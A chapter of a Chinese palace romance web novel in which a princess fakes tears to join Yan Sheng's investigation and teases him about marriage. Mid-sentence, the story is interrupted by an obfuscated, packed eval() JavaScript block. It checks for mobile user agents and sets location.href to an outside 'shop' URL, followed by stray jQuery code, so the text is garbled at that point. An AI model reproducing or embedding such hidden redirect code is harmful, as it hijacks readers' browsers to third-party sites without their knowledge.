“只要你带着本帝姬查,本帝姬也不是不能帮你!”沈悠然道。
严晟下意识拒绝,“不行。”
“若此事真如在下预测的那般,那背后一定牵扯众多,昭懿帝姬冒然插手,怕是会惹来麻烦。”
能够在宫中这种阶级森严的地方搞小动作,定不是几个小小内侍敢做的事。
况且现在只是猜测,毫无证据,连敌人是谁都不清楚。
严晟是真不敢将这位帝姬拖下水。
沈悠然抿着唇,眼角向下耷拉着,语气带着明显的低落。
“本宫、我……也只是……只是想要替父皇分忧罢了。”
“父皇在我和母后面前,总是不提烦心事,但我也曾见过父皇孤身一人叹气的样子。”
“我……很心疼父皇。”
越是说到后面,她的言语里竟好像带了丝哭腔。
原本是撑头看向严晟,此时也变成了垂着头盯着自己的脚尖。
严晟莫名心软,内心正在天人交战。
他是想要查下去的,但仅凭他一人,不用想也知道是困难重重。
光是那一道宫门,就能让钳制住他的手脚。
如果有宫中的人相助……
不行,不可将一个小姑娘牵扯进来。
就在这时候,沈悠然试发出一声呜咽,听起来像是在偷偷哭泣。
“那往后,若是有需要昭懿帝姬的地方,还请昭懿帝姬相助。”
话刚说完,严晟就有些后悔,只叹自己兴许是头脑发热。
沈悠然也是怕他后悔,立马仰起头,脸上哪有半点失落,只剩下小计谋得逞的沾沾自喜。
“以后有进展了,你需得一五一十地告诉本帝姬!”
严晟哪还不明白,他这是被她骗了。
担心应当是真,但哭腔却是迷惑人的把戏。
想来这不是她第一次这般以退为进了,才能把这一手本事玩的这么熟练。
见他久久不言语,沈悠然怕他是真的后悔了。
她强行扯过严晟的右手,和他来了个击掌为誓。
“就这么说定了!”
严晟像是觉得烫手一般,默不作声地收回手背在身后。
右手握拳,用指尖摩挲着掌心,似是拿她没有办法,微不可闻地应下了。
“对了!”沈悠然歪过头看他,“你知道沈沁喜欢你吗?”
话题转换的如此之快,足以见得方才不过是她的小把戏。
“昭懿帝姬,不可妄言,有损郡主声誉。”
沈悠然笑着往前凑,“你不说,我不说,怎会影响她声誉。”
“还是说,你打算在外头宣扬?”
严晟剑眉轻蹙,脸色不虞。
“在下并非那等背地里说闲话的小人。”
“只是在下同郡主并无私交,不知是何处传出来的谣言。”
沈悠然也曾见过严太傅的。
彼时的她不过七八岁,有一日吵着要同沈煦一道去上学,赵皇后怎么劝都没办法。
沈煦也只好带着这个妹妹去了严府。
谁料,短短一刻钟内,沈悠然就哭了三次。
俱是被严太傅吓得。
严太傅身形清瘦,并非那中一见就让人发怵的壮硕体格。
只是他五官凌厉,哪怕是最平常的神情,看起来也是板着一张脸,像是在同人置气。
更遑论严太傅这人,论起学问来,总有一种文人的清高与坚持。
哪怕是皇子,只要犯了错,也会被他斥责。
此刻,沈悠然也在严晟脸上,见到了这种表情。
但她已经不是那个动不动就被吓哭的小姑娘了。
沈悠然撇撇嘴,反正对于严晟的答案,她也无所谓。
“那我换个问题。”
“为什么你叫沈沁,就是郡主,叫本帝姬的时候,就要带上封号呢?”
大盛朝如今,只有一位帝姬,就是沈悠然。
哪怕是盛兴帝的姊妹,称号也是长公主,而非帝姬。
反倒是郡主,和沈悠然同辈的只有沈沁一人,但沈悠然还有几位叔伯姑姑,按例也得唤做郡主,只不过并没有居住在宣阳城中。
真要论起来,也该叫沈悠然帝姬,而叫沈沁为顺宁郡主,这样才不会让人误会说的是哪位。
“帝姬不喜在下这般称呼?”他转过头盯着她,轻声问,“若是不喜,那便直接称呼为帝姬。”
沈悠然单手支在膝盖上,在思考。
老实说,沈悠然更喜欢听他叫自己,昭懿帝姬。
咬字清晰,音色勾人。
“不用改了,昭懿帝姬比郡主字数多,能够压上沈沁一头。”她道。
真是奇奇怪怪的胜负欲,严晟忍不住笑。
但又怕沈悠然看出来,只得看了眼马车外面,此时的沈煦一手搭在腰上,抬着另一只手遮遮掩掩捂着口鼻,还在排队买那什么新开铺子的糕点。
二人都有小厮,但小厮各自牵着马回府了,并不在身边,倒是给了沈煦亲力亲为的机会。
“还有最后一个问题!”
沈悠然猛地凑过来,竖着一根食指横亘在两人中间。
因为动作太快没能收住力度,她的食指就快要贴上严晟的鼻尖。
严晟立马错开眼。
“昭懿帝姬这是,把在下当做解惑的先生了?”
沈悠然下意识重复着他的话。
“先生?”
声音轻柔带着笑,明明是个敬称,却毫无尊重的意思,倒像是调侃。
“昭懿帝姬想要问什么?”
沈悠然收回手,双手撑着头,看起来单纯又无辜。
“那你喜欢什么样的姑娘?”
*
一回到马车旁的沈煦,见到的就是严晟紧闭着唇靠在窗边,似是闭目养神。
旁边还有只叫做沈悠然的小鹦鹉,还在叽叽喳喳。
“说说嘛。”
“我又不告诉别人。”
沈悠然问不出结果,但也没有丝毫不愉快,还笑嘻嘻地调侃着沈煦。
“啊,哥哥这么快就回来了呀!我还以为哥哥再怎么也要在门口当上半刻钟的望妻石呢。”
沈煦恼羞成怒,“那这一盒,你就别吃了!”
沈悠然这才看见他右手上提溜着的一盒用红绳捆起来的点心盒子,上面用红底金墨写着“寻味斋”三个字。
“就知道哥哥不会忘了我!”沈悠然喜滋滋接过点心盒子。
沈煦松了口气,在心里感叹果然还是得用吃的东西才能堵住她的嘴,正想要上马车的时候,又听到她补充了一句。
“放心吧哥哥,既然你都拿糕点收买我了,往后我一定会在嫂嫂面前,替你多多说好话的!”
沈煦吸了口气,看来这丫头就没有不拿他开涮的那一天。
索性不再去接她的话。
“阿晟,可是昭懿同你玩闹,让你做什么了?”
自个儿这个妹妹是什么性子,沈煦再清楚不过了。
即便是在挚友面前,他也不会去揭妹妹的短,三言两语就点名她不过是贪玩爱闹。
“昭懿帝姬不过是和在下……”
“我问他要不要当我的驸马!”
沈悠然半是认真半是玩笑的话,惊呆了在场两个男子。
“皎皎!你胡乱说什么呢!”
沈煦恨不得去捂住她的嘴,让她把话都吞回去。
堂堂帝姬,在外头问一个男子要不要当她的驸马,这种话要是传出去了,怕是玩笑都能传成真的。
严晟嘴唇微微抖动,三番两次想要开口,却都没有说出话来。
沈煦
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689090|188867||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
只当他是被惊得不知该说什么好。
“阿晟是不会当驸马的。”
沈煦语气笃定。
沈悠然收起好奇,往马车最里侧坐,嘴上无所谓的嘟囔着。
“我也是听旁人说,若是想要知道一个人是不是好人,那便问问他的朋友是否愿意让自己的姐妹嫁给他做妻子,我一时兴起想要试试罢了。”
沈煦松了口气,也不知道沈悠然是从哪里听到的这种言论。
“阿晟当然是好人了。”
“只不过,阿晟是不会当驸马的。”
他又重复了一遍。
沈悠然一口气堵在心里,语气也没方才那般好,指着严晟问为什么。
“可是你瞧不上本帝姬?”
“本帝姬长得不够好看?”
严晟双手交叠着行礼,不去看沈悠然的脸。
“在下,志不在此。”
“那你志在何处?”沈悠然步步紧逼。
严晟本想沉默以对,但偏偏就……
偏偏就控制不住。
“昭懿帝姬,在下志不在做驸马。”他又答。
他就这般低喃着,也不知道是在说给沈悠然,还是说给谁听。
沈悠然原本也只是试探,得了他的两次拒绝,顿时也来了气。
“你等着,本帝姬总要让你以此为志!”
强扭的瓜又不是没吃过。
就算是歪瓜裂枣还能解解渴呢,况且严晟看起来还是远胜于那些歪瓜裂枣的。
沈悠然赌着气撇向一旁,迷迷糊糊之间竟打起了瞌睡,就连到了严府门口,也不见她醒。
沈煦和严恒一道下了车,拍了拍他的肩。
“我妹妹就是性子爱闹了些,从小就要强,凡事非得要挣个自己高兴,并非恶意。”
“她还小,不过是玩笑话,指不定过几日就将这件事忘了,阿晟不必为此苦恼。”
严晟看了眼马车紧闭的车门,“但愿吧。”
*
沈沁今年的生辰过得不大愉快。
自沈悠然走后,沈沁总觉得自己一腔的威风无处耍,再怎么热闹的猜谜和戏曲也觉得没劲儿,早早就让人散了场。
等到夜幕降临的时候,她的侍女从门房那边收到了一封信,说是宫里递出来的。
沈沁直觉这是沈悠然写信来嘲笑自己,气鼓鼓地扔给了一旁的侍女,让她读信。
婢女颤颤巍巍地撕掉封口,发现信纸上只写了一行大字。
“你喜欢、喜欢……”
听着她半天没有下文,沈沁不耐烦,一把扯过书信。
“你又不是不识字,有什么读不出来的?”
“你喜欢严晟吗?”
沈沁的脸猛然胀红,心虚地把手中的信纸往书桌上一扔。
“什么东西?”
“这人,莫不是写信来嘲我?”
信纸滑落在地的时候,沈沁瞥见后面还有另一句话。
“你现在肯定以为我是在嘲讽里,放心,我可没那么无聊。”
“来信不过是想问清你的心意,倘若你也喜欢,那我就不同你争抢罢了。”
又是这般,又是这般。
沈沁咬咬牙,心中满是不悦。
小的时候,每每听见盛兴帝和赵皇后同沈悠然说要让着自己,沈沁总是会得意,但逐渐长大之后才发现,沈悠然的每次谦让,不过是长辈们怜悯她年幼失母又不得父爱罢了。
她才不要沈悠然的让步呢。
翌日一早,不用给母后请安,也不用去庄太后那里听规矩,沈悠然又睡了个自然醒,一睁眼,她就看见梳妆台上放着一封信。
她赤着脚下床,依着台面打开了信。
上面的字迹潦草,想来字的主人定时情绪不平静。
“有本事就让严晟喜欢你。”